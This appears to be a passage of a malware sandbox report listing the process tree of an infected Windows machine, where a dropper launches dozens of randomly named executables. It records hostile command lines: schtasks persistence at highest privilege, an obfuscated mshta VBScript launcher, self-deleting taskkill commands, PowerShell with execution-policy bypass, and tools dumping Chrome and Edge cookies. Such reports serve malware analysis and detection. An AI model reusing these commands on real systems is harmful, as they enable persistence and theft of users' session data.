"C:\Users\Admin\Documents\swZnitNdAEh3GQJk3lP8NqNy.exe"
6⤵
PID:3348

C:\Users\Admin\Documents\2pf2yetkNReiLReSG6urQ5sE.exe
"C:\Users\Admin\Documents\2pf2yetkNReiLReSG6urQ5sE.exe"
6⤵
PID:3340

C:\Users\Admin\Documents\8XTeR9B3yRwic1yC9mis9Frj.exe
"C:\Users\Admin\Documents\8XTeR9B3yRwic1yC9mis9Frj.exe"
6⤵
PID:3472

C:\Users\Admin\Documents\CWnOlwpbHk7NzIRcRKvtdeGl.exe
"C:\Users\Admin\Documents\CWnOlwpbHk7NzIRcRKvtdeGl.exe"
6⤵
PID:3560

C:\Users\Admin\Documents\Z4Z9O2U4IJQ0Y0n1A_qocffy.exe
"C:\Users\Admin\Documents\Z4Z9O2U4IJQ0Y0n1A_qocffy.exe"
6⤵
PID:3552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 1308
7⤵
- Program crash
PID:3200

C:\Users\Admin\Documents\bY2_g9bodoC_Bt_hmZk_E7Q2.exe
"C:\Users\Admin\Documents\bY2_g9bodoC_Bt_hmZk_E7Q2.exe"
6⤵
PID:3544

C:\Users\Admin\Documents\Stj2j2abNeK1p6Wmj8GIvw4Y.exe
"C:\Users\Admin\Documents\Stj2j2abNeK1p6Wmj8GIvw4Y.exe"
6⤵
PID:3604

C:\Users\Admin\Documents\HerYP2OUC1dmnzfI6AHU4ZZl.exe
"C:\Users\Admin\Documents\HerYP2OUC1dmnzfI6AHU4ZZl.exe"
6⤵
PID:3596

C:\Users\Admin\Documents\iigzRfbs90wtr0KTUUQlmmWg.exe
"C:\Users\Admin\Documents\iigzRfbs90wtr0KTUUQlmmWg.exe"
6⤵
PID:3588

C:\Users\Admin\Documents\iigzRfbs90wtr0KTUUQlmmWg.exe
"C:\Users\Admin\Documents\iigzRfbs90wtr0KTUUQlmmWg.exe"
7⤵
PID:2136

C:\Users\Admin\Documents\MBLLZ3z7nXH3jO_uLluYAvXk.exe
"C:\Users\Admin\Documents\MBLLZ3z7nXH3jO_uLluYAvXk.exe"
6⤵
PID:3656

C:\Users\Admin\AppData\Local\Temp\is-Q8HQH.tmp\MBLLZ3z7nXH3jO_uLluYAvXk.tmp
"C:\Users\Admin\AppData\Local\Temp\is-Q8HQH.tmp\MBLLZ3z7nXH3jO_uLluYAvXk.tmp" /SL5="$40200,138429,56832,C:\Users\Admin\Documents\MBLLZ3z7nXH3jO_uLluYAvXk.exe"
7⤵
PID:3308

C:\Users\Admin\Documents\YlhuzAajznWiqC0Oho1ReNmZ.exe
"C:\Users\Admin\Documents\YlhuzAajznWiqC0Oho1ReNmZ.exe"
6⤵
PID:3696

C:\Users\Admin\Documents\YlhuzAajznWiqC0Oho1ReNmZ.exe
"C:\Users\Admin\Documents\YlhuzAajznWiqC0Oho1ReNmZ.exe" -q
7⤵
PID:1928

C:\Users\Admin\Documents\LJd0k5PD3Dld2Q3wN990VQYa.exe
"C:\Users\Admin\Documents\LJd0k5PD3Dld2Q3wN990VQYa.exe"
6⤵
PID:3536

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "LJd0k5PD3Dld2Q3wN990VQYa.exe" /f & erase "C:\Users\Admin\Documents\LJd0k5PD3Dld2Q3wN990VQYa.exe" & exit
7⤵
PID:3288

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "LJd0k5PD3Dld2Q3wN990VQYa.exe" /f
8⤵
- Kills process with taskkill
PID:700

C:\Users\Admin\Documents\5kEcvCqOJU8iWepZnZkY4ydB.exe
"C:\Users\Admin\Documents\5kEcvCqOJU8iWepZnZkY4ydB.exe"
6⤵
PID:3756

C:\Users\Admin\Documents\kkhzsvVHfdZi1jVaX1xFoqKx.exe
"C:\Users\Admin\Documents\kkhzsvVHfdZi1jVaX1xFoqKx.exe"
6⤵
PID:3528

C:\Users\Admin\Documents\avekjSMTattPfFsQUwdeWRPQ.exe
"C:\Users\Admin\Documents\avekjSMTattPfFsQUwdeWRPQ.exe"
6⤵
PID:3520

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "avekjSMTattPfFsQUwdeWRPQ.exe" /f & erase "C:\Users\Admin\Documents\avekjSMTattPfFsQUwdeWRPQ.exe" & exit
7⤵
PID:3132

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "avekjSMTattPfFsQUwdeWRPQ.exe" /f
8⤵
- Kills process with taskkill
PID:2872

C:\Users\Admin\Documents\EktIwF5rW7Fz2a1X6IEIYaR6.exe
"C:\Users\Admin\Documents\EktIwF5rW7Fz2a1X6IEIYaR6.exe"
6⤵
PID:3464

C:\Users\Admin\Documents\Cqzcauw9_VANPow4c4G12XXR.exe
"C:\Users\Admin\Documents\Cqzcauw9_VANPow4c4G12XXR.exe"
6⤵
PID:3456

C:\Users\Admin\Documents\70XKnZHVvh9ZtIsjvdTg5FIs.exe
"C:\Users\Admin\Documents\70XKnZHVvh9ZtIsjvdTg5FIs.exe"
6⤵
PID:3448

C:\Users\Admin\Documents\f_ziNFoxgnB25yWat5q12b62.exe
"C:\Users\Admin\Documents\f_ziNFoxgnB25yWat5q12b62.exe"
6⤵
PID:3440

C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe
"C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe"
6⤵
PID:3432

C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe
C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe
7⤵
PID:1768

C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe
C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe
7⤵
PID:1744

C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe
C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe
7⤵
PID:3000

C:\Users\Admin\Documents\v5i7OpJH2whPAap5xAp_nwcs.exe
"C:\Users\Admin\Documents\v5i7OpJH2whPAap5xAp_nwcs.exe"
6⤵
PID:3424

C:\Users\Admin\AppData\Roaming\5151923.exe
"C:\Users\Admin\AppData\Roaming\5151923.exe"
7⤵
PID:2376

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2376 -s 1668
8⤵
- Program crash
PID:3716

C:\Users\Admin\AppData\Roaming\2824387.exe
"C:\Users\Admin\AppData\Roaming\2824387.exe"
7⤵
PID:2456

C:\Users\Admin\AppData\Roaming\4804575.exe
"C:\Users\Admin\AppData\Roaming\4804575.exe"
7⤵
PID:2724

C:\Users\Admin\AppData\Roaming\3163850.exe
"C:\Users\Admin\AppData\Roaming\3163850.exe"
7⤵
PID:1392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1392 -s 840
8⤵
- Program crash
PID:3360

C:\Users\Admin\Documents\HQouPO73iZNFyozHpbwUkSnq.exe
"C:\Users\Admin\Documents\HQouPO73iZNFyozHpbwUkSnq.exe"
6⤵
PID:3332

C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe
"C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"
5⤵
PID:1972

C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe
"C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe"
5⤵
PID:2812

C:\Users\Admin\Documents\MWBGBOoZ1I9lQvA7E06GHPOJ.exe
"C:\Users\Admin\Documents\MWBGBOoZ1I9lQvA7E06GHPOJ.exe"
2⤵
- Executes dropped EXE
PID:1088

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\MWBGBO~1.DLL,s C:\Users\Admin\DOCUME~1\MWBGBO~1.EXE
3⤵
PID:2120

C:\Windows\SysWOW64\RUNDLL32.EXE
C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\MWBGBO~1.DLL,TkMLSw==
4⤵
PID:3172

C:\Windows\SysWOW64\RUNDLL32.EXE
C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\MWBGBO~1.DLL,RzgOTw==
5⤵
PID:1680

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmp3DFA.tmp.ps1"
5⤵
PID:4036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "NzxsyYlysdBauX2Y436vSgO8" /sc ONLOGON /tr "'C:\Users\Admin\Documents\SkipUnprotect\NzxsyYlysdBauX2Y436vSgO8.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "rjl250sECO384l6hekfWur37" /sc ONLOGON /tr "'C:\Documents and Settings\rjl250sECO384l6hekfWur37.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2236

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhost" /sc ONLOGON /tr "'C:\Windows\System32\WsmTxt\taskhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2244

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "LeNW19xoO5E82rP71JC3IA_X" /sc ONLOGON /tr "'C:\Windows\ehome\CreateDisc\SFXPlugins\LeNW19xoO5E82rP71JC3IA_X.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2252

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\HelpPane\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "9hL434R6RaggjkAEgK1YOktb" /sc ONLOGON /tr "'C:\Users\Admin\Documents\Files\9hL434R6RaggjkAEgK1YOktb.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2268

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2532

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding A327D991991B8115AADCA44DD031B6A8 C
2⤵
PID:3632

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding C72EC043815E42DBA0B6D08112C25C05
2⤵
PID:3688

C:\Windows\system32\taskeng.exe
taskeng.exe {69667652-11B1-4D3A-B396-3939EC9E1F62} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]
1⤵
PID:3868

C:\Users\Admin\AppData\Roaming\wadjtfu
C:\Users\Admin\AppData\Roaming\wadjtfu
2⤵
PID:3356

C:\Users\Admin\AppData\Roaming\widjtfu
C:\Users\Admin\AppData\Roaming\widjtfu
2⤵
PID:1296

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1628

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4060

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3148

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3504

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1144

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3484

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3968

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2060

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2476

C:\Users\Admin\AppData\Local\Temp\Setup (21).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (21).exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Modifies system certificate store
PID:664

C:\Users\Admin\Documents\LeNW19xoO5E82rP71JC3IA_X.exe
"C:\Users\Admin\Documents\LeNW19xoO5E82rP71JC3IA_X.exe"
2⤵
- Executes dropped EXE
PID:884

C:\Users\Admin\Documents\zUaCuwbHmdHIgTdIpVnvQbsF.exe
"C:\Users\Admin\Documents\zUaCuwbHmdHIgTdIpVnvQbsF.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1072

C:\Users\Admin\Documents\zUaCuwbHmdHIgTdIpVnvQbsF.exe
"C:\Users\Admin\Documents\zUaCuwbHmdHIgTdIpVnvQbsF.exe"
3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1580

C:\Users\Admin\Documents\m5AAsHonnYr_k4fnsg5QS8e8.exe
"C:\Users\Admin\Documents\m5AAsHonnYr_k4fnsg5QS8e8.exe"
2⤵
- Executes dropped EXE
PID:1740

C:\Users\Admin\AppData\Roaming\6637670.exe
"C:\Users\Admin\AppData\Roaming\6637670.exe"
3⤵
PID:2956

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2956 -s 1816
4⤵
- Program crash
PID:1072

C:\Users\Admin\AppData\Roaming\4340493.exe
"C:\Users\Admin\AppData\Roaming\4340493.exe"
3⤵
PID:628

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
4⤵
PID:2424

C:\Users\Admin\AppData\Roaming\2767373.exe
"C:\Users\Admin\AppData\Roaming\2767373.exe"
3⤵
PID:2996

C:\Users\Admin\AppData\Roaming\1198010.exe
"C:\Users\Admin\AppData\Roaming\1198010.exe"
3⤵
PID:2968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2968 -s 1692
4⤵
- Program crash
PID:2256

C:\Users\Admin\Documents\ateIGlkSFUxfhk7NPmAS7Cs4.exe
"C:\Users\Admin\Documents\ateIGlkSFUxfhk7NPmAS7Cs4.exe"
2⤵
- Executes dropped EXE
PID:1628

C:\Users\Admin\Documents\CWvg1ViW45mfD3cwPRmW8m3I.exe
"C:\Users\Admin\Documents\CWvg1ViW45mfD3cwPRmW8m3I.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1732

C:\Users\Admin\AppData\Local\Temp\ssqq.exe
"C:\Users\Admin\AppData\Local\Temp\ssqq.exe"
3⤵
- Executes dropped EXE
PID:2284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 464
4⤵
- Program crash
PID:2564

C:\Users\Admin\Documents\7mqvJq1GjKOuY6DApvMY5cDO.exe
"C:\Users\Admin\Documents\7mqvJq1GjKOuY6DApvMY5cDO.exe"
2⤵
- Executes dropped EXE
PID:1604

C:\Users\Admin\Documents\9hL434R6RaggjkAEgK1YOktb.exe
"C:\Users\Admin\Documents\9hL434R6RaggjkAEgK1YOktb.exe"
2⤵
- Executes dropped EXE
PID:1472

C:\Users\Admin\Documents\9hL434R6RaggjkAEgK1YOktb.exe
"C:\Users\Admin\Documents\9hL434R6RaggjkAEgK1YOktb.exe"
3⤵
PID:3028

C:\Users\Admin\Documents\53MCfXXtkfWsHza3CJBD6za1.exe
"C:\Users\Admin\Documents\53MCfXXtkfWsHza3CJBD6za1.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2000

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\GmDLVhzAuS.bat"
3⤵
PID:2368

C:\Windows\system32\chcp.com
chcp 65001
4⤵
PID:3060

C:\Windows\system32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
4⤵
PID:1992

C:\Windows\System32\WsmTxt\taskhost.exe
"C:\Windows\System32\WsmTxt\taskhost.exe"
4⤵
- Executes dropped EXE
PID:1752

C:\Users\Admin\Documents\KRqsGfuCfc26olJAOhfkgpZe.exe
"C:\Users\Admin\Documents\KRqsGfuCfc26olJAOhfkgpZe.exe"
2⤵
- Executes dropped EXE
PID:1932

C:\Users\Admin\Documents\KRqsGfuCfc26olJAOhfkgpZe.exe
"C:\Users\Admin\Documents\KRqsGfuCfc26olJAOhfkgpZe.exe" -q
3⤵
- Executes dropped EXE
PID:2700

C:\Users\Admin\Documents\1uzHmugvKAfyECtMSwtpeymi.exe
"C:\Users\Admin\Documents\1uzHmugvKAfyECtMSwtpeymi.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1660

C:\Users\Admin\Documents\1uzHmugvKAfyECtMSwtpeymi.exe
C:\Users\Admin\Documents\1uzHmugvKAfyECtMSwtpeymi.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2620

C:\Users\Admin\Documents\DMcUxiVhcYGanalEsN_oYz7h.exe
"C:\Users\Admin\Documents\DMcUxiVhcYGanalEsN_oYz7h.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:524

C:\Users\Admin\Documents\DMcUxiVhcYGanalEsN_oYz7h.exe
C:\Users\Admin\Documents\DMcUxiVhcYGanalEsN_oYz7h.exe
3⤵
- Executes dropped EXE
PID:2612

C:\Users\Admin\Documents\_9mXUxETzaTdEWiYij9i5Nec.exe
"C:\Users\Admin\Documents\_9mXUxETzaTdEWiYij9i5Nec.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:112

C:\Users\Admin\Documents\h6SnkxQsBB21Yzz1QEK5hAZl.exe
"C:\Users\Admin\Documents\h6SnkxQsBB21Yzz1QEK5hAZl.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1604

C:\Users\Admin\Documents\QLWouRTlTxb6fAroZ_myRvWb.exe
"C:\Users\Admin\Documents\QLWouRTlTxb6fAroZ_myRvWb.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1816

C:\Users\Admin\Documents\rjl250sECO384l6hekfWur37.exe
"C:\Users\Admin\Documents\rjl250sECO384l6hekfWur37.exe"
2⤵
- Executes dropped EXE
PID:984

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "rjl250sECO384l6hekfWur37.exe" /f & erase "C:\Users\Admin\Documents\rjl250sECO384l6hekfWur37.exe" & exit
3⤵
PID:2308

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "rjl250sECO384l6hekfWur37.exe" /f
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3028

C:\Users\Admin\Documents\FtkV5fLKp7PPNbivdMi7zn5u.exe
"C:\Users\Admin\Documents\FtkV5fLKp7PPNbivdMi7zn5u.exe"
2⤵
- Executes dropped EXE
PID:588

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\Documents\FtkV5fLKp7PPNbivdMi7zn5u.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\FtkV5fLKp7PPNbivdMi7zn5u.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
3⤵
PID:1608

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\FtkV5fLKp7PPNbivdMi7zn5u.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""=="" for %W iN ( "C:\Users\Admin\Documents\FtkV5fLKp7PPNbivdMi7zn5u.exe") do taskkill -IM "%~nXW" -f
4⤵
PID:1740

C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe
WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9
5⤵
PID:1692

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""-PifOcLbay~PF~N8a_e9RyKpu9 "" == """" for %W iN ( ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
6⤵
PID:1348

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if "-PifOcLbay~PF~N8a_e9RyKpu9 "=="" for %W iN ( "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe") do taskkill -IM "%~nXW" -f
7⤵
PID:2528

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" ~IWm4Wh.I,nKhkoYTFE
6⤵
PID:2024

C:\Windows\SysWOW64\taskkill.exe
taskkill -IM "FtkV5fLKp7PPNbivdMi7zn5u.exe" -f
5⤵
- Kills process with taskkill
PID:664

C:\Users\Admin\Documents\WMqvAlh8_pDtOF327ptRNKm2.exe
"C:\Users\Admin\Documents\WMqvAlh8_pDtOF327ptRNKm2.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:948

C:\Users\Admin\Documents\ZUCPOQw_nLiUk8J3mtU5QAcy.exe
"C:\Users\Admin\Documents\ZUCPOQw_nLiUk8J3mtU5QAcy.exe"
2⤵
- Executes dropped EXE
PID:968

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "ZUCPOQw_nLiUk8J3mtU5QAcy.exe" /f & erase "C:\Users\Admin\Documents\ZUCPOQw_nLiUk8J3mtU5QAcy.exe" & exit
3⤵
PID:1656

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "ZUCPOQw_nLiUk8J3mtU5QAcy.exe" /f
4⤵
- Kills process with taskkill
PID:2568

C:\Users\Admin\Documents\NzxsyYlysdBauX2Y436vSgO8.exe
"C:\Users\Admin\Documents\NzxsyYlysdBauX2Y436vSgO8.exe"
2⤵
- Executes dropped EXE
PID:1364

C:\Program Files (x86)\Company\NewProduct\customer3.exe
"C:\Program Files (x86)\Company\NewProduct\customer3.exe"
3⤵
PID:1864

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:2788

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2612

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:2856

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
4⤵
PID:956

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:1932

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:112

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:2908

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
4⤵
PID:2360

C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
3⤵
PID:2164

C:\Program Files (x86)\Company\NewProduct\jooyu.exe
"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
3⤵
PID:2452

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:2552

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:1520

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:3216

C:\Users\Admin\Documents\Im20rYhq_aY1DxsHQOwFlu8h.exe
"C:\Users\Admin\Documents\Im20rYhq_aY1DxsHQOwFlu8h.exe"
2⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies system certificate store
PID:1520

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im Im20rYhq_aY1DxsHQOwFlu8h.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\Im20rYhq_aY1DxsHQOwFlu8h.exe" & del C:\ProgramData\*.dll & exit
3⤵
PID:1944

C:\Windows\SysWOW64\taskkill.exe
taskkill /im Im20rYhq_aY1DxsHQOwFlu8h.exe /f
4⤵
- Kills process with taskkill
PID:2024

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
4⤵
- Delays execution with timeout.exe
PID:3008

C:\Users\Admin\Documents\726kYkRlMm6_bx_BSvyV6w45.exe
"C:\Users\Admin\Documents\726kYkRlMm6_bx_BSvyV6w45.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1160

C:\Users\Admin\Documents\726kYkRlMm6_bx_BSvyV6w45.exe
"C:\Users\Admin\Documents\726kYkRlMm6_bx_BSvyV6w45.exe"
3⤵
PID:2860

C:\Users\Admin\Documents\yvGZFv2aEV37nOCIJhL3W5UZ.exe
"C:\Users\Admin\Documents\yvGZFv2aEV37nOCIJhL3W5UZ.exe"
2⤵
- Executes dropped EXE
PID:920

C:\Users\Admin\Documents\rpH8ZWtiSX9X6WNHh1WJ8UrL.exe
"C:\Users\Admin\Documents\rpH8ZWtiSX9X6WNHh1WJ8UrL.exe"
2⤵
- Executes dropped EXE
PID:1424

C:\Users\Admin\AppData\Local\Temp\is-JQ8MN.tmp\rpH8ZWtiSX9X6WNHh1WJ8UrL.tmp
"C:\Users\Admin\AppData\Local\Temp\is-JQ8MN.tmp\rpH8ZWtiSX9X6WNHh1WJ8UrL.tmp" /SL5="$70022,138429,56832,C:\Users\Admin\Documents\rpH8ZWtiSX9X6WNHh1WJ8UrL.exe"
3⤵
- Executes dropped EXE
PID:2436

C:\Users\Admin\AppData\Local\Temp\is-IUQ96.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-IUQ96.tmp\Setup.exe" /Verysilent
4⤵
PID:1068

C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe
"C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent
5⤵
PID:188

C:\Users\Admin\AppData\Local\Temp\is-D8UFR.tmp\Stats.tmp
"C:\Users\Admin\AppData\Local\Temp\is-D8UFR.tmp\Stats.tmp" /SL5="$50196,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent
6⤵
PID:1952

C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe
